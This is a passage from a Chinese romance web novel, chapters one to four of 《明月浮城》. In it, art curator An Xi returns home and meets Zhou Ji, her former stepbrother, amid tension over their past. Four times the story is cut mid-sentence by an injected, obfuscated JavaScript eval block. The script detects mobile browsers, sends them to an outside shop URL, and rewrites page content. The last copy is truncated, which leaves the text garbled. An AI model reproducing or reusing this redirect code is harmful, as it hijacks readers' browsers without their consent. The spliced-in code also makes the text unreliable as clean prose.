《明月浮城》 1. 01 日落 感受到微凉的穿堂风吹进来时,安禧猛地睁开了眼睛。 窗外的日色已逐渐昏沉,天际翻涌起艳丽的晚霞,她茫然四顾了几秒,发现自己竟然躺在客厅的地毯上睡着了。 墙上挂钟显示,现在正是傍晚五点半。 意识慢慢归位,安禧从地上爬起来,顺手把不远处几个横七竖八的行李箱推进了储藏间。 ——都是空的,份量很轻。 她今天刚退了原先的租房,正式搬进这套由母亲安雨萍为她购置的平层公寓。 小区名叫天樾湾,环境和安保都是一等一的,地段亦好,离她上班的美术馆只要十多分钟车程。 “你都回国快半年了,在黎川又不是没有家,还在外面租房子住,叫人听了不是笑话吗。” 安雨萍在电话里颇为不满,再三敦促她搬家。 安禧拗不过母亲,加上她的房东确实不怎么靠谱,管道漏水的问题说了几次也没有解决,索性就顺了安雨萍的意思,拎包入住新房。 整个白天都耗在收拾行李上,安禧早就腰酸背痛,这会儿更是懒得进厨房,打开手机的外卖软件,准备点餐。 屏幕上方,忽然跳进一条来电提示。 “搬家搬得怎么样?” 好朋友詹靖元的声音传来。 安禧往沙发上一瘫:“基本弄完了。差点累死我。” 詹靖元是安禧的高中同学,当年稳坐文科班前三名位置,大学读金融,研究生去了哥大,和安禧在纽约当了三年室友,毕业后回国,任职于某家头部投行,人生路规范得如同教科书。 “今晚有安排吗?”詹靖元问她。 “没。怎么了?” “任皓哲打广告打到我这儿了,说他的酒吧今天开业,请我们老同学过去捧场,可以免单。” 安禧略想了想,认真问道:“有饭吃吗?” 詹靖元咯咯直笑:“有的有的。我把酒水单转发给你,你想要什么,现在就点,到店直接吃。” 和菜单一并发过来的,还有酒吧的位置。地方有点远,但餐食似乎不错,安禧回了个“OK”,放下手机,进卧室换衣服化妆。 * 傍晚六点钟刚过,“SunsetBar”的霓虹招牌已开始闪烁,映衬着深蓝尚未过渡至墨黑的天色,有点上世纪末港片的复古情调。 酒吧七点钟才正式营业,但詹靖元她们提前打过招呼,从侧门畅通无阻地进去了。 “安禧?!” 在吧台一见面,任皓哲就震惊大呼,“我没看错吧?你……不是在美国吗?” “半年前回来了。”安禧神色自若地解释,“没告诉太多人。” 这个说法,实属谦虚到极致。 同学朋友里,唯有詹靖元知道她回国;除此之外,她只告诉了母亲安雨萍。 至于安雨萍有没有向别的什么人提起,她也不知道了。 “不过说句实在的,安禧,你真是越来越漂亮了。”任皓哲夸赞得真心诚意,并不令人反感,“当年你就是公认的校花,明里暗里追过你的男生,绕操场一圈都绰绰有余。” 安禧笑道:“哪有那么夸张。” 正说着,服务生走了过来,原来是安禧和詹靖元点的餐做好了。一份意面,一份开放三明治,份量足,卖相也好看。 任皓哲给她们预留了卡座的位置,趁这会儿还不忙,带着两人过去落座。 虽然只有一层楼的空间,Sunset酒吧的面积却不小。除了卡座、散台,还额外设有VIP包厢,只是尚未完全布置好,暂不能使用。 卡座区的前方,搭了个小舞台,工作人员正在调试灯光,任皓哲似乎有了新的想法,上前讲了几句什么。 安禧搅了一圈意面,转头问詹靖元:“这儿还有表演?” 詹靖元点头:“任皓哲两年前辞职组乐队,在黎川小有名气,现在酒吧开业,应该会驻场演出。” 他们那届黎川一中毕业的校友,从事什么行业的都有,听见组乐队,安禧也不以为奇。倒是任皓哲返身回来,笑着说:“成员都在后台,一会儿介绍给你们认识。偶尔他们有事来不了,我还会叫外援来帮忙,就比如周稷,他都快变成吉他手的御用替补了。” 叉子举在空中,微妙地停顿了一瞬,安禧抬头看向任皓哲,意味不明地笑了笑:“……是吗?” “对啊。” 任皓哲浑然不觉,自顾自地往下说:“别看他平时一副不苟言笑的样子,低头弹琴的时候,能把台下女孩子迷倒一大片。” 像是为了印证自己的话,任皓哲拿出手机,进入乐队的官方社交账号,点开其中的某条视频,往安禧眼前一推。 “我们账号播放量最高的视频,就是他的单人片段。我还和他开玩笑,万一哪天不想做律师了,转行来我这儿,说不定又是另一条不错的赛道。” 视频里,镜头中心的男人抱着吉他,衬衫袖口半挽,信手拨弦。 舞台光影朦胧,却恰到好处地烘托出他骨相立体分明的侧脸,还有手臂肌肉的起伏线条,斯文衣装与电吉他形成的强烈对比,引发出毋庸置疑的张力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351425|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪有播放量。 安禧移开目光,淡淡应和两句,继续低头吃意面。 吧台有人叫任皓哲过去,说是又来了几桌熟人和新客。 待他离开,沉默许久的詹靖元终于开口:“……是我大意了,忘了还有周稷的这茬事。” 安禧拨开盘子里用作装饰的迷迭香叶,“和你没关系。而且哪有那么多巧合,他今晚一定来吗?我看未必。” 音响试音,突兀地发出刺耳噪声,划得人耳膜难受。 詹靖元看着安禧平淡如水的神色,踟蹰一阵,最终还是把想说的话咽了回去。 七点一刻,乐队开场。 躁动的鼓点震震,带起旋律激越的电吉他,DJ跟着节奏带动气氛,绚彩的灯光颜色交织,空气迅速升温燃沸。 安禧回头望了眼,半小时前还人数寥寥的酒吧,此刻竟然已经将近满座。散桌游戏进行得正酣,喧闹的欢笑穿透了热闹的背景音乐,清晰地传进她的耳朵。 “靖元,安禧,介意拼桌吗?” 嘈杂声响里,任皓哲忽然出现,身后还跟着另外三个人,光影昏暗,看不清脸。 “都是我们一中同届的同学,现在没位置,只能往熟人桌里安排。” 此处卡座只有她们二人,确实显得有些空荡。安禧和詹靖元交换了眼神,默契道:“没事的,一起玩也好,人多才热闹。” 任皓哲长舒一口气,立刻把身后几人拉到了桌边,“我就说嘛,两位人美心善,肯定不忍心看我们尴尬。何况周稷本来就是安禧你的哥哥,兄妹凑一块,理所当然的事……” 后面几个字,被快要掀翻屋顶的声浪吞噬殆尽,灯球的光倾泻而下,照在走到安禧面前的男人的脸上,棱角清晰,轮廓深邃,气场是收敛而下沉的,却偏偏让人无法忽视半分。 两束目光在空气里短促地相接。 蜻蜓点水。 而后不动声色地错开。 恍若无事发生。 任皓哲给他们相互做介绍:“大家认识下,这两位美女是安禧和詹靖元;这三位,宣宣,阿楷,还有我的好哥们,周稷。” 安禧微笑着,跟着任皓哲的叫法,依次和前两人打招呼。 然后轮到周稷。 乐队奏完一段热场间奏,台上声息暂歇,好似意味深长的留白。台下的鼎沸人声也莫名被触发了短暂的休止符,人头攒动的酒吧大厅里,忽然迎来了一瞬毫无征兆的安静。 安禧没有任何犹豫,带着一如刚才的笑容弧度,轻轻叫了声—— “哥。” 2. 02 破冰 周稷没应。 不过下一秒,乐队的伴奏便重新响起,燥热的音符节律遮盖住全场人声,有那么几秒钟里,什么也听不见。 安禧定定盯着他,缓慢收敛起笑意。 “别傻站着了,都坐啊。”任皓哲眼色极佳,及时出来打圆场,“想喝什么?今晚我请客,不用替我省钱。” 酒水单上,既有适合独酌的单品,也有适合多人聚会的套餐,度数标注清晰明了。 安禧的酒量只算中等,平时常喝红酒或啤酒;詹靖元略胜于她,能扛几杯麦卡伦。不过在外饮酒,她们很有收敛自制的觉悟,和另外几人商议后,就只点了基本款啤酒套组,只当怡情。 还真是替老同学省钱了。 任皓哲是乐队键盘手,在台下拖了许久的时间,也已到了必须登场的时候。 他一步三回头地嘱咐几人喝好玩好,同时不忘给坐边角的周稷疯狂使眼色,好像在极力劝解什么似的。 周稷仍旧八风不动。 酒水很快上了桌,随赠果盘和小食,最宜聊天破冰。 “看来今天是文科班的主场,”阿楷笑指着自己和宣宣,“只有我们俩是理科班的。任皓哲这会儿不在,算上他,勉强和你们打个平手。” 詹靖元吃着薯条,惊奇道:“你们怎么知道,我和安禧都是文科班的?” 落座到现在,除了名字,她们可都没做自我介绍。 阿楷失笑:“拜托,你这种远近闻名的学霸,我们都如雷贯耳,当然知道了。还有安禧,毕业多少年了,提起我们一中的美女,还是绕不开你这座山脉。” 虽是恭维话,安禧仍笑得前仰后合。 “谢谢,我好久没听到这么有创意的赞美了。” 越过坐中间的詹靖元,她和阿楷碰杯,浅淡微笑。 “Cheers。” 卡座沙发呈半包围的弧形,安禧在最左侧,詹靖元挨着阿楷与宣宣,再旁边才是周稷。 距离隔得最远,交流也理所当然地可以省略,安禧偶尔抬眼,对面人留给她的,始终只有一个淡漠的侧影。 她自若地仰头喝酒。 不知不觉,话题开始围绕着安禧。 因为出挑的外貌和开朗的性格,自学生时代起,安禧已经习惯了身处目光焦点的感觉,所以也揣摩出了一个浅显的道理—— 在群体中,人们的关注往往具有传染性,当其余众人的视线汇聚往同个方向,剩下的那个,其实很难置身事外。 除非他自欺欺人。 酒过三巡,气氛逐渐热络起来。 在一个陌生男人搭讪安禧未果以后,宣宣的八卦心被激发,追问安禧是否单身。 得到她的肯定答复后,宣宣表露出极度的惊异:“不会吧?追你的人里,没有看得上眼的?” 安禧答:“我比较随缘。” 阿楷笑着说:“一般越是说随缘的,眼光越是高。不过以安禧的条件,挑剔一点也应该,不然恐怕要被烂桃花烦死了。” 他意指刚才,众人也会心一笑。 安禧倒是不置可否地耸耸肩。 随着话题推进,桌上酒瓶空了一个又一个。 但很快,阿楷就发觉了不对劲。 “周稷,你怎么不喝啊?”他深感意外,“不是说好的来放松吗?” 也是直到这个时候,众人才发现,周稷的面前的那瓶酒,连瓶盖都未曾打开。 ——他从头到尾就没喝。 宣宣也称奇:“任皓哲说你平时可是好酒量,今晚这是怎么了?” 一时间,桌上所有人的目光朝他汇聚。 自然也包括安禧的。 周稷微微绷紧了神经,“今天身体不太舒服,不想喝酒。” 说着,他面不改色地起身:“失陪一下,我去趟洗手间。” * 酒吧稍微安静些的拐角处,周稷遇上了任皓哲。 乐队刚演完一曲,他准备下台休息会儿,刚走到安禧他们那桌,就看见了中途离席的周稷,赶忙追了上来。 “周稷、周稷!” 他喊了好几声才把人叫住,“我说你……至于吗?” 周稷停下脚步,转过身看着他,蹙眉道:“什么至于不至于的?” 任皓哲叹了口气:“你和安禧啊。” “人家好声好气地叫你哥,你不搭理;现在又中途离开,你让安禧怎么想?” 周稷沉默。 任皓哲语重心长地劝:“我知道你还介意当年她不辞而别去留学的事。但过去的早都过去了,这些年,安阿姨一直拿你当亲儿子看,安禧也算是你妹妹,有什么话是说不开的?” 灯光照映着颀长身躯,在地上拖出一道深深的影子,周稷缓缓吐出一口气,随手扯开衬衫最上方的两颗扣子。 “我不是介意。” 他说。 “……也没有介意的资格。” 出国回国这种大事,她自始至终都想瞒他。 介意? 周稷从未觉得,他拥有产生这种情绪的权利。 任皓哲欲言又止。 作为周稷的好友,他隐约感觉到,对于那个重新组建起来的、并不依靠血缘关系成立的家庭,周稷有些难以言喻的回避。 但诡异的是,这种回避,并非一开始就有,而是远在好几年之后,仿佛一夕之间,骤然产生的。 任皓哲旁敲侧击过好几回,试图帮他开导情绪。 可没人能比周稷更能扮演云淡风轻。 “好了好了,多大点事。” 任皓哲洒脱一笑,推着他往原位置走,“我给你当说客,还不行吗?” 回到卡座时,话题恰好讲到周稷。 “……周稷现在是大律师,好像做什么知识产权方向的,在他们律所里,算升职最快的一个。” 阿楷的语气颇为欣慰,与有荣焉似的。 詹靖元亦有耳闻:“我知道,衡泰律师事务所,名气很大呢。” 任皓哲和周稷一同回来,听见他们议论,自然地插嘴道:“周稷这个工作狂,心里除了事业,还真不知道能装下什么。活该孤寡到现在。” 周稷淡淡瞥了他一眼,波澜不惊:“我觉得这样很自在。” 玻璃酒瓶重重磕在桌角,发出“哐”的一声,顷刻吸引了桌上所有人的注意。 肇事者安禧无辜而尴尬地笑了笑,连声说抱歉:“不好意思啊,手滑了。” 周稷抿唇看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351426|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,不知是盯着她的手,还是盯着她手中的酒瓶。 “……当心。” 他言简意赅。 宣宣忽然发问:“对了安禧,刚才我听你叫周稷——‘哥’?” 安禧抬眸,视线又和周稷碰到了一处。 学生时代的同学亲疏,往往也决定了消息的发达与闭塞,宣宣在高中时属于两耳不闻窗外事的类型,和任皓哲的他们的交集,也是始于毕业之后,所以有些事,的确不知情。 “是啊。”安禧笑得大方,“我们是重组家庭。高中那会儿,我妈和周稷的爸爸谈过恋爱,但没领证。” 更准确来说,是安禧读初三的时候。 离婚多年的安雨萍,因为工作缘故,偶然认识了周稷的父亲周睿诚。两人一见如故,又有着相同的婚姻经历,没多久就确立了恋爱关系。 到了安禧升高中的那个暑假,安雨萍带着女儿,正式搬进了周睿诚的家里,虽然没有领证,但已是彼此实际意义上的家人。 那也是安禧和周稷相识的起点。 此时再不接话,似乎确实说不过去了。沉默整晚的周稷,终于惜字如金地说了句:“是这样。” 宣宣了然地点头。 至于为什么安禧的用词是“谈过”,在场所有人,默契地没有追问。 ——周稷的父亲周睿诚,已经不在人世很多年了。 * 聚会在临近十一点的时候结束。 酒吧营业到凌晨三点,直至安禧等人准备离开的时候,还有顾客陆陆续续进场。不过他们次日都要上班,也实在耗不起时间,简单道了别,便准备各自打道回府。 詹靖元就住这附近,步行十多分钟的路程,临别前,她问安禧要不要去自己家里应付一晚。 安禧说:“不用了,你那儿离我上班的地方远,真住你家,明早我还要早起,不划算。” “好吧,”詹靖元不强求,“那我先回了,你打车记得分享行程给我。” 安禧应下。 周末夜晚的繁华商圈,叫车队伍向来大排长龙,安禧等待了一会儿,终于有司机接单,不过间距有将近三公里,赶来还需时间。 她垂眸,静静盯着地图上的距离变动。 “我送你回去。” 身后突然传来一道男人的声线。 安禧转身,迎上了周稷的眼神。 他的风衣外套脱下来搭在臂弯,衬衫扣子松开了两颗,虽整晚滴酒未沾,但姿态已然随和了许多,哪怕只是施舍一星半点的关切,也很能动摇人心。 他们多少年没见了? 安禧忽而问自己。 六年,还是七年? 异国的街头,她曾好几次把近似的背影误认成他,发现是误会,也只是怅然地和对方说“sorry”。 现在,完整的、活生生的人站在她面前。 她却感到陌生。 “我送你回去。”周稷重复了一遍。 不是商量的语气。 安禧弯唇而笑。 这种口吻,只会来自于她最厌恶的一个身份。 “又是送到床上的那种吗?” 她轻轻歪头,吐气如兰。 “……哥哥。” 3. 03 锚点 周稷的神情遽然一变。 暮春夜晚的空气,托不住这么沉重的隐秘,轻轻碎裂在耳边,犹如气泡被戳破。 浓稠绮丽的记忆翻涌于眼前,容不得视而不见。 “……” 周稷绷紧了下颌线,呼吸渐重,带着几分不容易觉察的难堪,“你喝多了。” 安禧歪头笑了笑:“没听过那句话么——酒后吐真言。” “而且我刚才,有哪个字说得不对吗?” 周稷的脸色,晦暗到了极点。 她讲的明明是令人浮想联翩的暧昧,对他而言,却简直字字诛心。 更要命的是,他根本无法反驳。 远远地,有一道光束朝他们逼近。 是安禧叫的网约车到了。 白色汽车缓缓减速,停在了路边。安禧回身,打开车门上车,毫不拖泥带水。 报过手机尾号,汽车平稳起步。 后视镜里,周稷伫立在原地的身影,终于渐渐缩小,直到变成一个看不见的点。 * 云和美术馆,是黎川市规模最大的私立美术馆。 它的成立时间并非一众私立之最,但因其富有设计感的建筑、丰富的馆藏艺术品,以及高质量的美术展,赢得了优秀的口碑。 云和的创立者,是国内一对资深收藏家夫妇,他们也正是如今美术馆理事会里的元老。美术馆初具规模后,便由他们的独子接手管理,迎来了蒸蒸日上的发展势头。 上午九点不到,一辆冰蓝色的帕拉梅拉驶入美术馆的地下停车场。 停稳熄火,安禧拎着手包,从驾驶座走了出来。 循着指示牌导引,她刷了员工卡,进入直通办公区的电梯,按下了数字键“3”。 电梯门缓缓关闭,在冷色泽金属的倒映里,安禧看见了自己的影子。 当初收到云和发来的offer时,她还没回国。 离职和退租手续繁琐,要带回去的东西太多,她忙得焦头烂额,忍不住和詹靖元打视频电话倾诉。 “我也真是搞不懂你。”詹靖元在电话里说,“毕业不和我一起回国也就算了,现在好不容易工作生活都走上正轨了,突然又要推翻重来,不是自找麻烦吗?” 安禧无言以对。 因为詹靖元说的,本就是事实。 电梯门开,展览部的办公区到了。 类型丰富的对外展览,是云和盈利的重要来源项之一。展览部,和任职于此的策展人,无疑是其中的关键角色。 “早上好。” 来到工位,安禧笑着和周围的同事互道早安。 董倩凡走过来,把咖啡往安禧桌上一放:“今天双杯套餐做活动,这杯给你的。” 她们是部门里固定的咖啡搭子,彼此经常帮着捎带。 安禧接过,欢快地道了句谢谢。 “又换包了?”董倩凡盯着她桌上的那只黑色手袋,惊叹道,“你可太有实力了。” 这是上周安雨萍送她的,专柜里都要排队等的款,安禧实话实说:“啃老行为,不值得提倡。” 董倩凡惆怅:“要是我也能啃,才不出来上班受气呢。” 两人正说着话,展览部经理佟莉端着陶瓷杯从附近经过,轻轻瞥来一记眼神。 董倩凡立刻噤了声,用最快的速度逃回自己的工位,老实埋头在电脑显示屏前装鸵鸟。 直到确认佟莉进了办公室,她才心有余悸地抬起头,对着安禧隔空讲唇语:“吓死我了!” 安禧报以无奈的一哂。 上午开了个冗长的会。 美术馆今年的第一场展览即将落幕,后续接替的项目方案递上来,佟莉却都不怎么满意,责令他们回去改进。 走出会议室时,众人的面色都不太好看。 杯子里的咖啡已经凉了,安禧找董倩凡借了加热杯垫试图补救,一边抱着电脑,对自己的策划案删删改改。 “安禧,你觉得,是纽约那边的美术馆工作更累,还是我们这里更累?” 董倩凡握着鼠标,在屏幕上漫无目的地滑。 安禧头也不抬:“差不多吧。对比试用期,甚至还是云和轻松一点。” “真的假的?”董倩凡半信半疑,“所以你是因为受不了那边的工作压力,才决定回国的?” 她说完想了想,越觉得这个猜测靠谱—— 否则安禧一个纽约大学文化产业管理硕士,为什么要放弃那边的大好前程,转而选择了薪资只有原先百分之八十的云和展览部呢? 谁知,安禧笑了笑。 “真不是。”她说。 董倩凡用眼神表示:我不信。 安禧扣上电脑,目光如同陷入回忆。 “在国外待久了,总感觉自己好像活在真空里。我想,我大概需要一个锚点。” 董倩凡托腮思索了片刻,得出结论:“你的‘锚点’,在国内?” 杯垫加热到设定温度,发出规律的“滴滴”声。 安禧并未承认或否认,只是拿起杯子,对着董倩凡浅浅一笑:“你猜?” * 下午佟莉不在,部门里手头没有急活的,纷纷默契地提早了下班时间。 安禧自然不会例外。 不过她没直接回家,而是开车去了临近市郊的一家摩托车俱乐部。 “哟,安大小姐?” 俱乐部经理笑着和安禧打招呼,“你可有段时间没来了啊。” 安禧略一点头,算作回应。 “前阵子忙搬家,腾不出时间。”她顺手把头发扎成低马尾,“我的车呢?” “在车库里,还是你专用的那间。”经理开着玩笑,“您可是我们这儿的超级VIP,日常养护都小心着呢。” 俱乐部的路线,安禧早已熟悉,进更衣室换了连体机车服,来到车库前输入密码。 升降门缓缓开启,一辆黑色的雅马哈R1,出现在了视线里。 安禧是在美国读书的时候,开始接触机车的。 速度狂飙带来的兴奋感令她意外,也让她着迷。 她在国外也买了车,决定回国时,还盘算着把车也带回来。但咨询过才发现,相关程序实在麻烦,成本也不菲,只得忍痛割爱,按折旧价把爱车转卖给了朋友。 这辆雅马哈,购置于安禧回国的第二个月。磨合了一段时间,总算建立了得心应手的默契。 今天的赛场人少,在起跑线前,场边工作人员问她:“要计时吗?” 戴着头盔不方便说话,安禧做了个手势,表示不用。 打火,挂挡。 引擎轰鸣。 车身载着安禧,犹如离弦之箭,冲了出去。 尽管已经上过牌照,但相比于城市公路,安禧还是更喜欢在专业赛道上行驶,没有复杂的路况和限速,随心所欲才玩得爽。 压弯时,整个人的重心降到最低,膝盖摩擦过路面,浑身的肌肉都在绷紧,对抗巨大的离心力。稍有不慎,便面临着连人带车甩飞出赛道的风险。 危险,又刺激。 赛道总长三公里有余,安禧风驰电掣,跑了一圈又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351427|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈。 减速停车的时候,她其实意犹未尽,只想着稍微休息一会儿,再继续第二轮。 谁知,安雨萍的电话在此时打来。 “榛榛,下班了吗?”电话里,母亲的声音温柔,“今晚回家吃个晚饭吧,我让阿姨多做几道你喜欢的菜。” 榛榛是她的小名,因为安雨萍怀她的时候,特别喜欢吃榛子。 安禧抱着头盔,“不用了妈,我这儿点外卖挺方便的。” 安雨萍:“总吃外卖怎么行,预制菜能比得上家里啊?再说了,自从你回国,都没有和周稷坐下来好好吃顿饭,今晚他也回来,正好,你们兄妹俩聊聊天,免得彼此生分了。” 迎着赛道尽头渐落的夕阳,安禧的眼睫颤了颤,仿佛那点余晖也太过眩目,必须避开锋芒似的。 “……我可能要晚一点。” 她调整好呼吸。 “我现在不在市区,过去比较远。” * 安雨萍现任黎川某服装公司的董事长,身价不菲,创业路亦曲折。 早年间,她在服装批发市场的小档口跟着老板做售货,有了点积蓄,便自己盘了铺面当老板。几经起伏,小商铺做成了连锁品牌,又演变为初具规模的公司,等到安禧上大学那年,公司完成了价值上亿的C轮融资。 偶尔,安禧回想起小时候趴在店里收银台上画画的场景,也会觉得恍如一场旧梦。 安雨萍现在居住的别墅,同样购置于当年。繁华地段的双层独栋,宽阔院落里,种了安禧最喜欢的蓝花楹。 黑色的雅马哈一路疾驰,沿途不知吸引了多少目光。 径直开进小区,引擎的轰鸣终于有所收敛,安禧拐了几个弯,远远就看见一处院子里,绽开了满树的梦幻蓝紫。 别墅前门没关,安禧畅通无阻地驶进前院。 随着庭前花树一同映入眼帘的,是一道茕茕孑立的修长背影。 晚风从树枝间穿过,几片花瓣被吹下,在空中悠悠打着旋,缓缓落在了周稷的肩头。 他正在讲电话,单手握着手机,随意侧头看了眼,便伸手轻轻拂去。 许是余光里注意到边上有人,他回头朝安禧望了过去,目光是一如既往的平静,只是在看见她那辆嚣张霸道的机车时,眉间微微蹙起了轻微的弧度。 但也仅是一瞬。 安禧淡定地把车开进车库,熄火,拔钥匙。 再回到院子里,周稷的电话已经打完了。 “怎么不进去打电话?” 安禧站在进门的台阶上,隔着一段距离问他。 周稷说:“出来透口气。” 安禧不置可否。 周稷看向车库,意有所指地问:“什么时候学的?” 他还从不知道她会玩机车。 “在国外。”她的视线不偏不倚地落在周稷脸上,“要和你报备?” 明明是淡极的语气,却很有几分挑衅的意味。 周稷不由得皱了皱眉:“这里是市区,人多车多,还有限速。你这样很危险。” “我知道。” 安禧漠然。 “可我喜欢。” 周稷的脸色更沉。 一时间,谁也没说话。 沉默了许久,率先开口的,终于还是周稷:“进去吧,院子里风大。安阿姨也等我们很久了。” 仿佛是为了印证他的话似的,屋子里隐隐约约飘出来一股饭菜香。 气味总能勾连起息息相关的温情,安禧敛眸,按下所有的情绪,平静说了句“好”。 4. 04 回家 两人同时走进家门。 “回来啦?” 听见动静,安雨萍笑吟吟地走了出来。 她年近五十,披着一条羊毛披肩,居家随意的打扮,脸上虽不可避免地有了衰老痕迹,但仍能看出年轻时是个美人。 只是在看见安禧和周稷并肩而立的身影时,安雨萍的神情微不可察地顿了顿。 “嗯,回来了。”安禧在入户前厅换了室内拖鞋,走上前挽住母亲的手臂,“在门口正好遇到哥在打电话,等他讲完就一起进来了。” 安雨萍不着痕迹地松了口气,又对周稷微笑:“你这孩子,怎么非要顶着风在外面打电话?家里有的是地方。” 周稷说:“工作电话,不想带回家里。” 安雨萍语重心长:“知道你忙,但也要注意身体。” 周稷点头应着。 说话间,饭菜已经上桌。 长条形的餐桌边,安禧和周稷相对而坐,分散在安雨萍的左右两侧。这是家中惯常的座次排列,即便已经许久没有三人同桌吃饭,这种默契,依然微妙地留存了下来。 负责做饭的保姆,自安禧大学时搬进这栋别墅,就开始受雇于安家,深知两个年轻人的饮食口味。每次安禧回来,桌上都少不了她喜欢的辣子鸡,至于口味清淡些的周稷,也有专为他准备的菜肴。 “阿稷,你多吃点,”安雨萍帮他添菜,“前段时间工作那么忙,该多补补。” 周稷从善如流地接受,说了谢谢。 他工作的律所,在周睿诚原先的那套房子附近,因此毕业后的多数时间,都住在那边。只有周末或是节假日,才会回到别墅。 但几个月前的春节是例外。 因为安禧回来了。 “黎川这边的工作,还适应吗?” 安禧正低头吃饭,反应了几秒,才明白过来是周稷在问她。 “还行。”她随口答,“毕竟有过工作经验,半年的时间,早该适应过来了。” 安雨萍一边盛汤一边说:“工作氛围怎么样?你在纽约待的那两年,电话里可没少和我抱怨。” “同事人都不错,领导会严肃点,不过都还能接受。” 安禧说着,话锋突然一转,“国内律所的压力应该很大吧?要抱怨,也是我哥先抱怨。” 周稷手里的汤勺一顿。 “你哥才不像你,一点苦都吃不了,”安雨萍语气温和,“但话又说回来了,阿稷,工作上有什么不开心的事,也可以和家里人说说,别总是憋在心里,要闷出毛病的。” “如果不好意思和阿姨说,和榛榛讲也是一样的,她从小就爱给人出鬼点子。” 周稷抬眼,望向对面的安禧。 那张明艳娇娆的脸上,挂着一贯如常的笑容弧度,对比相衬之下,眼里的情绪倒显得过于寡淡了。 不知是不是对着他的缘故。 “嗯,” 他轻轻应了句。 整顿晚餐的气氛,只能算不咸不淡。 周稷本就不是话多的人,安禧也没有主动递话的意思,两人的交流,几乎全靠着安雨萍的串联。 好在热气腾腾的饭菜,尚能掩盖住这种微妙的冷淡。又或者,他们只是像任意一个普通家庭里,关系没那么好的兄妹一样,只在彼此的独立生活之外,占据愈来愈少的空间。 晚饭后,三人围坐在客厅,吃着餐后水果。安雨萍忽然提起,再过一阵子,就是清明节了。 “又到了给老周扫墓的时候了。” 她有些感伤,“时间真快啊,一晃竟然也十年了。” 听着母亲的话,安禧下意识看了旁边的周稷一眼。 如果每个人的人生里,都有一段不愿意去触及的隐痛,那么她觉得,周稷的那段,一定是周睿诚的离世。 初见周睿诚时,安禧才十四岁,青春叛逆的年纪里,她之所以对这位即将成为自己继父的男人不怎么反感,大半原因在于觉得这个大叔长得还挺帅,配得上妈妈。 后来知道周睿诚其实是业内鼎鼎大名的律师时,安禧的内心并没有什么波动。 她不关心成年人世界的职业阶级,也不在乎他人的艳羡眼光,相比于周睿诚名片上闪闪发光的前缀,反倒是周叔叔那个不爱说话的儿子周稷,才更加吸引她的注意。 高二那年的寒假,安雨萍和周睿诚提议,趁着这两天天气好,带两个孩子去公园野餐。 周睿诚欣然同意,只是临出发的头天晚上,发现原先的野餐布破了个洞。 原本也不是大事,但安雨萍正好想起家里的纸巾也用完了,便让周睿诚开车去超市,顺道一同采买回来。 可谁也没想到,周睿诚的生命,会戛然而止那个冬夜。 根据警方后来的转述,以及监控视频的佐证,周睿诚是在超市门口的停车场里,被一个男子用水果刀连捅数刀,当场身亡的。 而凶手,竟然是周睿诚上一个代理案件的被告。 据其供述,他是因为原告方胜诉,心生不满,才决定对原告及其律师进行报复。 安禧永远也忘不了周稷得知真相时的眼神。 命运总喜欢和人开玩笑,一点也不好笑的玩笑。 “榛榛,前两年你在国外,只有我和阿稷去扫墓。今年你回来了,就和我们一起吧,”安雨萍轻轻叹了口气,“老周在世的时候,对你还是很好的。” 安禧没有疑虑,点头答允。 “阿稷,你说呢?”安雨萍征求周稷的意见。 他的反应并无异样:“我没问题。只要榛榛有时间。” 这是安禧回国之后,周稷第一次叫她的小名。 波澜不惊的口吻,仿佛真的只是寻常兄妹之间的称呼,而绝非其他。 “我会空出时间的,哥。” 商定达成得很容易。 手上沾了水果汁液,香甜却也黏腻。安禧微微皱眉,起身去抽餐巾纸。 周稷离纸盒更近,顺手抽出一张递了过去。 柔软的指腹,有意无意地擦过他的皮肤,短暂得一触即分,如蜻蜓点水。 温度却有些灼人。 周稷默不作声地收回了手。 指尖沾到的一点水渍,被他轻轻捻开,转瞬就化作无形。 * 当晚,安禧和周稷都留宿在别墅。 房间分配仍旧遵循着从前,周稷住一楼,安禧和安雨萍在二楼。 回国的这半年里,安禧也回来住过好几次,只是每回都精准地避开了周稷在的时候。 原因为何,其实显而易见。 安禧时常想,她和周稷,仿佛恪守在天平两端,维持着岌岌可危的平衡,一旦有任何的外力出现,便能轻而易举地打破这种脆弱。 她习惯晚睡,洗漱完毕之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 